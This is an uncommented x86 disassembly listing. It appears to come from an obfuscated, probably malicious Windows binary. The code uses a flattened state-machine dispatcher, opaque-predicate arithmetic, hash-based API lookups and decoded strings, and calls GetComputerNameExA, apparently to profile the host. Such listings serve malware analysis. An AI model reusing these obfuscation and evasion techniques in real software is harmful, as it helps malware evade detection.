jmp 0x433317
mov eax, dword [esi + 4]
shr eax, 2
imul edi, eax, 0xcd
add edi, 0xffff457f
mov dword [esi + 4], edi
push edi
call fcn.00433300
add esp, 4
mov eax, 0x630b484b
cmp edi, 0x8c
jl 0x43836e
mov eax, 0x3361bb01
jmp 0x43836e
push 4
push 0x46f5a7
push 0x17
push dword [esi + 0x88]
call fcn.00438550
add esp, 0x10
push 0x18
push dword [esi + 0x88]
push dword [esi + 0x38]
call fcn.004409a0
add esp, 0xc
push dword [esi + 0x38]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0x34]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
mov dword [esi], 0xb66cf8ed
jmp 0x433317
lea eax, [esi + 0x14]
push eax
push dword [esi + 0x24]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x28]
mov dword [esi], 0x7c4f8091
jmp 0x433317
mov eax, dword [esi + 8]
mov ecx, 0xee
add eax, ecx
mov ecx, eax
imul ecx, eax
shr eax, 1
imul edx, ecx, 0x5c7f
dec edx
add eax, 3
mov dword [esi + 8], eax
mov eax, 0x8eaab81d
cmp edx, ecx
je 0x43836e
mov eax, 0xc790f37e
jmp 0x43836e
mov eax, dword [esi + 0x8c]
mov cl, byte [0x46f5b7]
mov byte [eax + 0xc], cl
mov ecx, dword [0x46f5b3]
mov dword [eax + 8], ecx
mov ecx, dword [0x46f5af]
mov dword [eax + 4], ecx
mov ecx, dword [0x46f5ab]
mov dword [eax], ecx
push 5
push 0x46f5b8
push 0xd
push dword [esi + 0x8c]
call fcn.00438550
add esp, 0x10
push dword [esi + 0x164]
push dword [esi + 0x168]
push dword [esi + 0x16c]
push dword [esi + 0x170]
push dword [esi + 0x8c]
push 0x7ff
push dword [esi + 0xf0]
call fcn.0042448a
add esp, 0x1c
mov eax, dword [esi + 0x3c]
mov dword [esi], 0x99c5c021
jmp 0x433317
imul edi, dword [esi + 4], 0x6f870000
add edi, 0xbf13dce2
mov dword [esi + 4], edi
push 0x3af6
push 0x5a2e
push 0x34fe
push edi
call fcn.00438550
add esp, 0x10
push edi
call fcn.00433300
add esp, 4
mov eax, 0x3e76fd7f
cmp edi, 0x49
jge 0x43836e
mov eax, 0x3597512b
jmp 0x43836e
mov dword [esi], 0x3d690808
jmp 0x433317
imul eax, dword [esi + 4], 0xd1f34600
add eax, 0xffdefb25
mov dword [esi + 4], eax
push eax
call fcn.00433300
add esp, 4
mov dword [esi], 0xd7d12a07
jmp 0x433317
mov eax, dword [esi + 8]
mov ecx, 0x10d
add eax, ecx
mov dword [esi + 8], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x38d7
dec edx
mov eax, 0x3361bb01
cmp edx, ecx
je 0x43836e
mov eax, 0xc0cd4a34
jmp 0x43836e
mov eax, dword [esi + 0x150]
mov word [eax], 0xa
mov eax, dword [esi + 0x24]
mov dword [esi], 0xe67f83a
jmp 0x433317
mov eax, dword [esi + 4]
shl eax, 7
and eax, 0xffff80
add eax, 0xf0
mov dword [esi + 4], eax
mov dword [esi], 0x41e179c3
jmp 0x433317
imul eax, dword [esi + 8], 0x17e8000
mov dword [esi + 8], eax
mov dword [esi], 0xb14b28f1
jmp 0x433317
imul eax, dword [esi + 8], 0x31ea8c
add eax, 0xe8
mov dword [esi + 8], eax
mov dword [esi], 0xd5e027db
jmp 0x433317
mov eax, dword [esi + 8]
mov ecx, 0xc3
add eax, ecx
mov ecx, eax
imul ecx, eax
shr eax, 2
and eax, 0x3ffffe00
imul edx, ecx, 0x6451
dec edx
add eax, 0xffffff76
mov dword [esi + 8], eax
mov eax, 0xe5444044
cmp ecx, edx
je 0x43836e
mov eax, 0xb48e79f6
jmp 0x43836e
mov edi, dword [esi + 4]
mov eax, 0xffffff3c
add edi, eax
shr edi, 4
mov dword [esi + 4], edi
call fcn.00407d26
mov eax, 0xedd65c39
cmp edi, 0x22
je 0x438402
mov eax, 0x6d5ca6a6
jmp 0x438402
mov eax, dword [esi + 0x144]
lea ecx, [esi + 0x110]
push ecx
push dword [esi + 0xec]
call eax
sub esp, 0xc
mov edi, esp
mov byte [edi + 8], 0
mov eax, dword [0x46f526]
mov dword [edi + 4], eax
mov eax, dword [0x46f522]
mov dword [edi], eax
mov eax, 8
push eax
push 0x46f52a
push eax
push edi
call fcn.00438550
add esp, 0x10
mov al, byte [edi + 8]
mov byte [esi + 0x1f0], al
mov eax, dword [edi]
mov ecx, dword [edi + 4]
mov dword [esi + 0x1ec], ecx
mov dword [esi + 0x1e8], eax
lea eax, [esi + 0x1e8]
push eax
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xec]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
mov dword [esi + 0x148], eax
mov dword [esi], 0x5616715c
jmp 0x433317
mov eax, dword [esi + 0x188]
mov word [eax], 0xa
push 2
push 0x55
call fcn.0044bd43
add esp, 8
mov dword [esi + 0xf4], eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x98], eax
mov eax, dword [esi + 0x98]
mov word [eax + 0x18], 0
mov dword [esi], 0xc2428242
jmp 0x433317
push 0x18
push 0x465bf0
push dword [esi + 0x7c]
call fcn.004409a0
add esp, 0xc
push 7
push 0x465c08
push 0xc
push dword [esi + 0x7c]
call fcn.004384b0
add esp, 0x10
mov dword [esi], 0x6f4f0b35
jmp 0x433317
mov eax, dword [esi + 4]
shr eax, 0xa
imul edi, eax, 0x3bc000
mov ebx, 0x6c7ffcc
add edi, 0xfffbc000
mov dword [esi + 4], edi
je 0x4379b0
mov ebx, 0x4e4af96b
push 0x565f
push 0xf73
push 0x3e38
push edi
call fcn.004384b0
add esp, 0x10
push edi
call fcn.00433300
add esp, 4
mov dword [esi], ebx
jmp 0x433317
mov dword [esi], 0x15d2c650
jmp 0x433317
imul ecx, dword [esi + 4], 0x4b0000
mov eax, ecx
shr eax, 0xe
mov dword [esi + 4], eax
mov eax, 0x3825f49b
cmp ecx, 0x264000
jb 0x438402
mov eax, 0x3276d90c
jmp 0x438402
mov eax, dword [esi + 0x158]
mov word [eax], 0xa
mov eax, dword [esi + 0x34]
mov dword [esi + 0x14], 0x100
mov dword [esi], 0xa645f8e4
jmp 0x433317
push dword [esi + 0x7c]
push 0x23fef64a
call fcn.0043b928
add esp, 8
mov dword [esi + 0x144], eax
mov dword [esi], 0x398a740e
jmp 0x433317
mov edi, dword [esi + 4]
mov eax, 0xfe
add edi, eax
mov eax, edi
shr eax, 0xd
add eax, 0x6b
mov dword [esi + 4], eax
push eax
push 0x3976
push 0xd91
push 0x280b
call fcn.00438550
add esp, 0x10
mov eax, 0x4fabe3a2
cmp edi, 0x126000
jb 0x43836e
mov eax, 0x84554dd1
jmp 0x43836e
mov ecx, dword [esi + 8]
shr ecx, 3
lea eax, [ecx - 0x58]
imul eax, eax
imul edx, eax, 0x27d7
dec edx
lea ecx, [ecx*8 - 0x1cac0]
and ecx, 0xfffffe00
mov dword [esi + 8], ecx
mov ecx, 0x41e179c3
cmp eax, edx
je 0x4381ca
mov ecx, 0x719fe0ff
jmp 0x4381ca
mov dword [esi], 0xdea971bc
jmp 0x433317
mov eax, dword [esi + 4]
add eax, 0x76
shr eax, 9
and eax, 0xfffffffe
imul ecx, eax, 0xa7
mov dword [esi + 4], ecx
mov eax, 0x959ee4ba
cmp ecx, 0x74
jae 0x43836e
mov eax, 0x80002f72
jmp 0x43836e
mov eax, dword [esi + 0x1a4]
mov ecx, dword [esi + 0x1b4]
mov dword [ecx], eax
mov eax, dword [esi + 0x10]
add eax, 0x14
mov dword [esi + 0x1b8], eax
mov dword [esi], 0xb7f4f9c
jmp 0x433317
mov eax, dword [esi + 8]
mov ecx, 0xffffff6d
add eax, ecx
shr eax, 9
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x17fb
dec edx
shl eax, 8
or eax, 0x38
mov dword [esi + 8], eax
mov eax, 0x114320ae
cmp edx, ecx
je 0x43836e
mov eax, 0xd1dcb68d
jmp 0x43836e
mov eax, dword [esi + 8]
lea ecx, [eax + 0xef]
imul ecx, ecx
imul edx, ecx, 0x13e3
dec edx
lea eax, [eax + eax*8]
add eax, 0xae6
mov dword [esi + 8], eax
mov eax, 0x630b484b
cmp edx, ecx
je 0x43836e
mov eax, 0x6d1dd2ca
jmp 0x43836e
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x15c], eax
mov dword [esi], 0xc5819afb
jmp 0x433317
imul eax, dword [esi + 8], 0x9fafb0
add eax, 0x468788
mov dword [esi + 8], eax
mov dword [esi], 0xbd121001
jmp 0x433317
mov eax, dword [esi + 8]
shr eax, 0xc
lea ecx, [eax + eax*8]
lea ecx, [ecx + ecx*2]
imul ecx, ecx
imul edx, ecx, 0x7575
dec edx
imul eax, eax, 0xd80
mov dword [esi + 8], eax
mov eax, 0x2e3110c5
cmp edx, ecx
je 0x43836e
mov eax, 0xa4597235
jmp 0x43836e
mov eax, dword [esi + 0x54]
mov dword [esi], 0xe663ea5a
jmp 0x433317
mov ecx, dword [esi + 8]
lea eax, [ecx + 0xd8]
imul eax, eax
imul edx, eax, 0x5cf1
dec edx
imul ecx, ecx, 0x1c0000
add ecx, 0x3adb0000
mov dword [esi + 8], ecx
mov ecx, 0xb04edff9
cmp eax, edx
je 0x4381ca
mov ecx, 0x9858f92c
jmp 0x4381ca
mov eax, dword [esi + 0x50]
mov dword [eax + 4], 0x203a55
mov dword [eax], 0x5047202d
push dword [esi + 0x50]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
mov eax, dword [esi + 0x1c]
add eax, 0x24
mov dword [esi + 0x1d8], eax
mov dword [esi], 0x35ce95f3
jmp 0x433317
imul ecx, dword [esi + 8], 0xa5
lea eax, [ecx - 0x63]
add ecx, 0xfffffec1
imul eax, eax
shr ecx, 0xc
imul edx, eax, 0x737f
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x56e558fd
cmp edx, eax
je 0x4381ca
mov ecx, 0xa8ac93ea
jmp 0x4381ca
mov ecx, dword [esi + 4]
shr ecx, 1
and ecx, 0x1ffff
mov dword [esi + 4], ecx
mov eax, 0x8eaab81d
cmp ecx, 0x2c
jb 0x43836e
mov eax, 0xc3c216ce
jmp 0x43836e
imul eax, dword [esi + 8], 0xc4000000
add eax, 0xffffead0
mov dword [esi + 8], eax
mov dword [esi], 0xacd3253b
jmp 0x433317
mov eax, dword [esi + 0x60]
add eax, 0x14
mov dword [esi + 0x118], eax
mov dword [esi], 0xc3c216ce
jmp 0x433317
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0xd8], eax
mov dword [esi], 0x8ecd0d61
jmp 0x433317
imul edi, dword [esi + 4], 0xdb
add edi, 0xe3
mov dword [esi + 4], edi
call fcn.00407d26
mov eax, 0xa87d953
cmp edi, 0xa9
jb 0x43836e
mov eax, 0x2d0cd768
jmp 0x43836e
mov eax, dword [esi + 8]
mov ecx, 0xfffffed7
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x4c73
dec edx
shr eax, 6
and eax, 0xfffff
add eax, 0x90
mov dword [esi + 8], eax
mov eax, 0xb749251a
cmp ecx, edx
je 0x43836e
mov eax, 0x375c1a1a
jmp 0x43836e
mov eax, dword [esi + 8]
shl eax, 0xa
add eax, 0xffffc093
shr eax, 0xd
and eax, 0xfffffffc
lea eax, [eax + eax*2]
shr eax, 2
mov dword [esi + 8], eax
mov dword [esi], 0xf562b189
jmp 0x433317
mov eax, dword [esi + 8]
lea ecx, [eax - 0x1d]
imul ecx, ecx
imul edx, ecx, 0x62f3
dec edx
add eax, 0x79
mov dword [esi + 8], eax
mov eax, 0x55e9cc84
cmp ecx, edx
je 0x43836e
mov eax, 0xa63b2d64
jmp 0x43836e
mov eax, dword [esi + 4]
shl eax, 0xe
mov edi, 0xa1a452a5
add eax, 0x1c8000
mov dword [esi + 4], eax
je 0x437e04
mov edi, 0xfc921bf5
push 0x380b
push eax
push 0x3872
push 0x2e58
call fcn.00438550
add esp, 0x10
mov dword [esi], edi
jmp 0x433317
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc8]
mov dword [esi + 0x1c8], eax
mov dword [esi], 0x486cf2cd
jmp 0x433317
push dword [esi + 0x98]
push 0x2f9959e0
call fcn.0043b928
add esp, 8
push 0x55
push dword [esi + 0xf4]
call eax
mov dword [esi], 0xfc921bf5
jmp 0x433317
mov dword [esi], 0xb11ae242
jmp 0x433317
mov eax, dword [esi + 0xdc]
mov word [eax + 0x14], 0
push 0x14
push 0x465c80
push dword [esi + 0xdc]
call fcn.004409a0
add esp, 0xc
mov dword [esi], 0x9659fc8b
jmp 0x433317
push eax
push eax
mov eax, esp
mov dword [esi + 0x78], eax
mov eax, dword [esi + 0x78]
mov byte [eax + 6], 0
mov eax, dword [esi + 0x78]
movzx ecx, word [0x46f51c]
mov word [eax + 4], cx
mov ecx, dword [0x46f518]
mov dword [eax], ecx
mov dword [esi], 0xb3955f7b
jmp 0x433317
imul eax, dword [esi + 4], 0x7f0
add eax, 0xfffe27b8
mov dword [esi + 4], eax
push 0x2340
push eax
push 0x29d3
call fcn.0042448a
add esp, 0xc
mov dword [esi], 0x1b9c2852
jmp 0x433317
mov eax, dword [esi + 8]
lea ecx, [eax + 0x5d]
imul ecx, ecx
imul edx, ecx, 0x1057
add eax, 0x17d
dec edx
mov dword [esi + 8], eax
mov eax, 0x73087033
cmp ecx, edx
jne 0x437f50
jmp 0x43836e
mov ecx, dword [esi + 4]
mov eax, 0x86
add ecx, eax
mov eax, ecx
shr eax, 6
mov dword [esi + 4], eax
mov eax, 0xe2e8a630
cmp ecx, 0x2580
jae 0x43836e
mov eax, 0xf44ecfb2
jmp 0x43836e
mov eax, dword [esi + 4]
mov ecx, 0x1fffffa1
add eax, ecx
and eax, 0x1fffffff
add eax, 0xffffff50
shr eax, 9
mov dword [esi + 4], eax
mov ecx, 0x630b484b
cmp eax, 0x54
je 0x4381ca
mov ecx, 0xa87d953
jmp 0x4381ca
mov edi, dword [esi + 4]
shl edi, 9
add edi, 0xffffa600
mov dword [esi + 4], edi
push 0x529d
push 0x50f9
push edi
call fcn.0042448a
add esp, 0xc
mov eax, 0x86f9a22e
cmp edi, 0x3e
jge 0x43836e
mov eax, 0xcf303784
jmp 0x43836e
mov eax, dword [esi + 4]
mov ecx, 0xffffe000
and eax, ecx
lea ecx, [eax + eax]
add ecx, 0x9d
mov dword [esi + 4], ecx
mov eax, 0x2dce13d0
cmp ecx, 0xc9
jge 0x438402
mov eax, 0x863a2336
jmp 0x438402
mov edi, 0x1b
push edi
push 0x46f560
push dword [esi + 0x84]
call fcn.004409a0
add esp, 0xc
push 6
push 0x46f57b
push edi
push dword [esi + 0x84]
call fcn.00438550
add esp, 0x10
push 0x1c
push dword [esi + 0x84]
push dword [esi + 0x30]
call fcn.004409a0
add esp, 0xc
push dword [esi + 0x30]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
mov dword [esi], 0xe5545476
jmp 0x433317
push eax
sub esp, 8
mov edi, esp
mov byte [edi + 8], 0
mov eax, dword [0x46f5d5]
mov dword [edi + 4], eax
mov eax, dword [0x46f5d1]
mov dword [edi], eax
push 6
push str.v_.u
push 8
push edi
call fcn.00438550
add esp, 0x10
mov eax, dword [esi + 0x40]
mov cl, byte [edi + 8]
mov byte [eax + 8], cl
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [esi], 0x1896314a
jmp 0x433317
mov dword [esi], 0x3361bb01
jmp 0x433317
mov eax, dword [esi + 8]
add eax, 0xd
imul ecx, eax, 0x1de6
imul eax, eax
imul edx, eax, 0x5bcf
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xfbae6897
cmp edx, eax
je 0x4381ca
mov ecx, 0x127c5d7
jmp 0x4381ca
mov eax, dword [esi + 0x100]
mov ecx, dword [esi + 0x104]
shld ecx, eax, 0x16
mov dword [esi + 0x1e4], ecx
push 1
push 0xa
call fcn.0044bd43
add esp, 8
mov dword [esi + 0xfc], eax
mov dword [esi], 0x1f54ac28
jmp 0x433317
mov edi, dword [esi + 4]
shl edi, 0xd
mov dword [esi + 4], edi
push edi
call fcn.00433300
add esp, 4
push edi
call fcn.00433300
add esp, 4
mov eax, 0x475d0cae
cmp edi, 0x4b
jge 0x438402
mov eax, 0x83fc6d78
jmp 0x438402
mov eax, dword [esi + 0x40]
mov dword [esi], 0x301d9481
jmp 0x433317
push 4
push 0x46f4fc
push 0xb
push dword [esi + 0x6c]
call fcn.00438550
add esp, 0x10
mov eax, dword [esi + 0x128]
mov ecx, dword [esi + 0x6c]
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x130], eax
mov dword [esi], 0x83fc6d78
jmp 0x433317
mov ecx, dword [esi + 8]
shr ecx, 1
imul eax, ecx, 0x63
add eax, 0xffffa141
imul eax, eax
imul edx, eax, 0x407b
dec edx
imul ecx, ecx, 0x18c00
add ecx, 0xfe828000
mov dword [esi + 8], ecx
mov ecx, 0x10f35983
cmp eax, edx
je 0x4381ca
mov ecx, 0xd02223be
mov dword [esi], ecx
jmp 0x433317
mov dword [esi], 0x2709ba19
jmp 0x433317
push 6
push 0x465bd8
push 0xc
push dword [esi + 0x74]
call fcn.004384b0
add esp, 0x10
push dword [esi + 0x74]
push 0xa2f80070
call fcn.0043b928
add esp, 8
lea ecx, [esi + 0x114]
push ecx
push dword [esi + 0xe8]
call eax
mov dword [esi], 0xd9df720d
jmp 0x433317
mov eax, dword [esi + 4]
shl eax, 6
add eax, 0xcb
shr eax, 0xd
add eax, 0xffffff0e
mov ecx, eax
shr ecx, 2
mov dword [esi + 4], ecx
mov ecx, 0x3361bb01
cmp eax, 0x3e4
jae 0x438246
mov ecx, 0x301d9481
mov dword [esi], ecx
jmp 0x433317
push 0x18
push 0x465bc0
push dword [esi + 0x74]
call fcn.004409a0
add esp, 0xc
mov dword [esi], 0xbde0d5d0
jmp 0x433317
mov eax, dword [esi + 4]
add eax, 0xfffffffb
shr eax, 0xe
add eax, 0xc6
mov dword [esi + 4], eax
push 0x10db
push 0x1db8
push eax
call fcn.0042448a
add esp, 0xc
mov dword [esi], 0xa7949b7e
jmp 0x433317
shl dword [esi + 4], 0xe
mov dword [esi], 0x996aa53e
jmp 0x433317
push dword [esi + 0x54]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xfc]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
mov dword [esi], 0x94d41fcc
jmp 0x433317
imul eax, dword [esi + 4], 0x42cc
add eax, 0x2530e6
mov dword [esi + 4], eax
push 0x600c
push eax
push 0x61f0
call fcn.0042448a
add esp, 0xc
mov dword [esi], 0xe2e8a630
jmp 0x433317
mov eax, dword [esi + 0x48]
mov dword [esi], 0x52f1c848
jmp 0x433317
mov eax, dword [esi + 0x88]
mov byte [eax + 0x17], 0
push 0x17
push 0x46f590
push dword [esi + 0x88]
call fcn.004409a0
add esp, 0xc
mov dword [esi], 0x82fc375f
jmp 0x433317
imul edi, dword [esi + 4], 0x18c00000
add edi, 0xab000000
mov dword [esi + 4], edi
push 0x152d
push edi
push 0x1b34
push 0x631f
call fcn.00438550
add esp, 0x10
mov eax, 0xddae6694
cmp edi, 0x35
jl 0x43836e
mov eax, 0x475d0cae
mov dword [esi], eax
jmp 0x433317
lea eax, [esi + 0x14]
push eax
push dword [esi + 0x34]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x38]
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x88], eax
mov dword [esi], 0xe0ce4395
jmp 0x433317
mov eax, dword [esi + 4]
shl eax, 0xe
add eax, 0xffd38000
mov dword [esi + 4], eax
push 0x1fe5
push 0x51af
push eax
push 0x3473
call fcn.004384b0
add esp, 0x10
mov dword [esi], 0xf44ecfb2
jmp 0x433317
mov edi, dword [esi + 4]
shl edi, 5
add edi, 0xffffff40
mov eax, edi
shr eax, 9
mov dword [esi + 4], eax
push eax
call fcn.00433300
add esp, 4
call fcn.00407d26
mov eax, 0x6f4f0b35
cmp edi, 0xb600
jb 0x438402
mov eax, 0x86f9a22e
mov dword [esi], eax
jmp 0x433317
push dword [esi + 0x4c]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
mov dword [esi], 0x98fbf505
jmp 0x433317
push 8
push 0x465c94
push 0xa
push dword [esi + 0xdc]
call fcn.004384b0
add esp, 0x10
mov dword [esi], 0x8bd3325c
jmp 0x433317
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0x148]
mov dword [esi + 0x14c], eax
mov dword [esi], 0x86f9a22e
jmp 0x433317
cmp eax, 0xfe9cbc93
je 0x43849f
jmp 0x433317
imul eax, dword [esi + 4], 0xb6
shr eax, 0xf
imul eax, eax, 0x58
jmp 0x438483
imul eax, dword [esi + 4], 0x8d
add eax, 0xffffffdf
mov dword [esi + 4], eax
call fcn.00407d26
jmp 0x433311
imul eax, dword [esi + 4], 0xa049f
mov dword [esi + 4], eax
jmp 0x433311
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret